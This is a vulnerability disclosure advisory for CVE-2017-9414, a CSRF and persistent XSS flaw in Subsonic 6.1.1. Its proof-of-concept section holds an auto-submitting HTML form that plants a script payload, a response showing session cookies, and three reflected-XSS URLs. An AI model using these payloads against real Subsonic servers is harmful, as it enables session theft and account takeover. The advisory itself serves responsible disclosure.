Subsonic 6.1.1 Persistent XSS

`[+] Credits: John Page a.k.a hyp3rlinx   
[+] Website: hyp3rlinx.altervista.org  
[+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-PERSISTENT-XSS.txt  
[+] ISR: ApparitionSec   
  
  
Vendor:  
================  
www.subsonic.org  
  
  
  
Product:  
===============  
subsonic v6.1.1  
  
Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection.  
  
  
  
Vulnerability Type:  
======================  
CSRF - Persistent XSS  
  
  
  
CVE Reference:  
==============  
CVE-2017-9414  
  
  
  
Security Issue:  
================  
Remote attackers can abuse the Subscribe to Podcast feature of subsonic to store persistent XSS payloads   
if an authenticated user clicks a malicious link or visits an attacker controlled webpage.   
  
  
  
Exploit/POC:  
=============  
<form action="http://localhost:4040/playerSettings.view" method="post">  
<input name="playerId" type="hidden" value="1">  
<input name="name" type="text" value="<script>alert('XSS ' +document.cookie)</script>">  
<script>document.forms[0].submit()</script>  
</form>  
  
Then visit http://localhost:4040/index.view  
  
HTTP Response:  
XSS JSESSIONID=1n631ex230ljs; player-61646d696e=1; DWRSESSIONID=!hqFsK!BCyup7gBQU8spRLvw0tBacefl9Nl  
  
  
Misc Reflected:  
  
XSS 1  
http://localhost:4040/avatar.view?id=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
XSS 2  
http://localhost:4040//userChart.view?type=%3Cscript%3Ealert(document.cookie)%3C/script%3E  
  
XSS 3  
http://localhost:4040/coverArt.view?size=%3Cscript%3Ealert(123)%3C/script%3E  
  
  
  
Network Access:  
===============  
Remote  
  
  
  
  
Severity:  
=========  
High  
  
  
  
Disclosure Timeline:  
==================================  
Vendor Notification: May 29, 2017  
Vendor Acknowledgement: May 30, 2017  
June 4, 2017 : Public Disclosure  
  
  
  
[+] Disclaimer  
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.  
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and  
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit  
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility  
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information  
or exploits by the author or elsewhere. All content (c).  
  
hyp3rlinx  
`